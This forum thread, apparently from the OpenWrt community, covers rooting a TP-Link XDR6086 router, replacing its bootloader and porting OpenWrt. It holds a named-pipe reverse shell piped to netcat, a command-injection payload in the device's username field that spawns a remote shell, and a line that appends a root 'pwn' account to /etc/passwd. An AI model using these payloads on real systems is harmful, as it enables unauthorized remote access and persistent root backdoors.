@JamesLucas have you been able to work this into a fully interactive shell yet? The stock OS is quite lame, no wget, curl, telnet or ssh; just netcat. I'm trying to work a way to use it to get a shell but it seems to not be processing my commands correctly.
e.g. rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f
Yes, I installed Dropbear in it.
The nc commnd in the stock OS has very limited functions.
Actully you can install any software using the opkg command.
Just download ipk file from https://downloads.openwrt.org/releases/21.02.1/packages/aarch64_cortex-a53/ to a usb stick then opkg install xx.ipk.
The simplest way is instal netcat(not the busybox one), it has a -e option, then change the use name to <$(netcat -e /bin/sh 192.168.8.1 33 )>, you will have a decent interactive shell.
The old usb stick trick, that worked!
So if mtd, dd or cat can work then we can replace the stock bl2 and atf! 
Stock partition tables (mtd9 is just the whole flash chip):
dev: size erasesize name
mtd0: 000a0000 00020000 "factory_boot"
mtd1: 00020000 00020000 "factory_info"
mtd2: 00020000 00020000 "art"
mtd3: 00200000 00020000 "config"
mtd4: 00040000 00020000 "normal_boot"
mtd5: 00680000 00020000 "kernel"
mtd6: 03800000 00020000 "rootfs"
mtd7: 01600000 00020000 "rootfs_data"
mtd8: 054a0000 00020000 "firmware"
mtd9: 08000000 00020000 "spi0.1
Here's mtd9 and mtd0-8 in their respective parts: https://file.io/CEcmQtXWZeD3
Recall that u-boot is xz compressed.
echo "pwn:\$1\$94c5X1VH\$sp8obEPyRtU9Hi17q6Ckc/:0:0:pwn:/root:/bin/ash" >> /etc/passwd This will put user pwn with password pwn. Now on uart, log in with these credentials and it will put you in a "protected shell", psh.
So yeah, I think a bootloader replacement would be necessary at this point without exploiting the overflow in the goash application. I know @Daniel has experience doing this with the RT3200/E8450. I haven't got any so maybe he can chip in.
mtd0 is the FIP image, containing ATF bootloaders, u-boot and the u-boot env as xz-compressed data. XZ compressed data has a header 37 7A 58 5A and a footer 59 5A so you should be able to pull out the compressed parts and extract them.
The goash application in psh is protected with a 128 character base64-encoded key. I think it might be derived from the current time since epoch in hours, perhaps a password that changes hourly? but I don't have time to reverse engineer that algorithm right now. As far as the overflow bug I found, I have even less time to go down that avenue.
IMO, replacing the bootloader now is probably the best bet since @JamesLucas found out how to root it. I'd be willing to sacrifice my board if someone can come up with a solution to do that "safely". I have a full SPI NAND backup and a programmer so worst case I should be able to flash it back.
Building TF-A and U-Boot from source is quite easy. All you need to know is if the board is using DDR4 or DDR3 RAM and choose TF-A build in OpenWrt accordingly.
To start creating U-Boot you should clone the build for BananaPi R3 board, then remove all other boot options and keep only SPI-NAND.
I'll happily assist with this in any possible way, can be real-time session in tmux/screen or screensharing on Jitsi or something. We will build the bootchain and then we write to flash and see how far it gets. And having either JTAG or direct access to SPI-NAND will allow us to have many tries, if needed.
This would be great! The boards are using DDR3. Would we need to relocate any calibration data?
If we keep the position of the calibration data in flash in the same position we can avoid having to relocate it.
The factory_boot partition is large enough to hold TF-A bl2, and that will then read FIP with TF-A bl31 and U-Boot at offset 0x380000.
So we basically only overwrite factory_boot and keep everything up to and including normal_boot untouched, and that includes the calibration data located at offset 0x160000. Then we write FIP image to offset 0x380000 and have everything above 0x580000 as UBI.
In short: We can use NAND flash layout identical to BPi-R3 and just have art partition at 0x160000.
With a significant amount of work from @Daniel (it was 99% him, I can't take credit), we were able to replace the bootloader using @JamesLucas's root exploit and get this device booting OpenWrt!
Some more work needs to be done to fix up the device tree and get everything working and there will likely be some problems to work around regarding the RTL8812 chip as discussed here: MTK830 + RTL8221B-VB-CG 2.5G question - #17 by Amadeus, but overall I'd say it was a successful night.
Cheers!
Hi, thank you for sharing this. In fact, the router in the link above is XDR6088 (should be similar to XDR6086). I used the CH341A programmer to flash the router and successfully replaced it with the mainline uboot. Although it was a bit difficult, I spent some time to analyze the programmer firmware and got the location of several key partitions. Since we can get root permissions, it is much easier to bring official OpenWrt support now. I'm sorry I have been busy exams recently. After that, I will try to borrow an XDR6086 router to rewrite the partition and uboot. You can try to start initramfs with the following code, it should work normally (including mt76) except 2.5g port: https://github.com/aiamadeus/openwrt/commit/d37c05b07e874dd214eec55ba9deb571641781cc
Looks like a very nice device - any hints were I can order it would highly appreciated. Didn’t find it on ali …
It looks like China only from what I can find...
You can find mine and @soxrok2212 work of yesterday night in my staging tree. TF-A and U-Boot work quite good already, in Linux Ethernet is not working yet, but at least MT7531 and both RTL8221 2.5G PHYs already probe and seem to be detected. All userspace board detection and default configuration magic is still entirely missing. LEDs and buttons are also still missing.
Edit: Installation notes:
Use exploit to gain root shell, transfer files below to /tmp with nc, use md5sum to validate them. Then:
dd if=/tmp/openwrt-mediatek-filogic-tplink_xdr6086-preloader.bin of=/dev/mtdblock9 bs=131072 conv=sync
1+1 records in
2+0 records out
dd if=/tmp/openwrt-mediatek-filogic-tplink_xdr6086-bl31-uboot.fip of=/dev/mtdblock9 bs=131072 conv=sync seek=28
7+1 records in
8+0 records out
Fortunately mtd9 seems to represent the whole SPI-NAND chip without BMT, so writing to mtd9 allows us to truly know the raw/hardware address we are writing to.
Available on AliExpress: https://aliexpress.us/item/3256804466844168.html?spm=a2g0n.order_detail.order_detail_item.3.1b30f19c7o3vxe&gatewayAdapt=glo2usa&_randl_shipto=US
Thank you for your efforts. LEDS, buttons, Gigabit port and wireless can work normally on my branch. Now we only need to fix 2.5g 
Do you understand the function of the “turbo” button on the back of the device?
What are the MAC addresses of the Wi-Fi interfaces when using the stock firmware? In art there is only a dummy MAC, so our guess was to use +2 offset on top of the label mac, but we never went back and checked what stock does.
It seems to enhance the wireless power.
I prefer to call it factory:) And its size is only 0xa0000.
For the MAC address, please refer to this: https://github.com/aiamadeus/openwrt/blob/mtk-tp/target/linux/mediatek/dts/mt7986a-tl-xdr6088.dts#L340
MAC addresses map:
0x1c base 2.4g/lan
not in base+1 wan
not in base+2 5g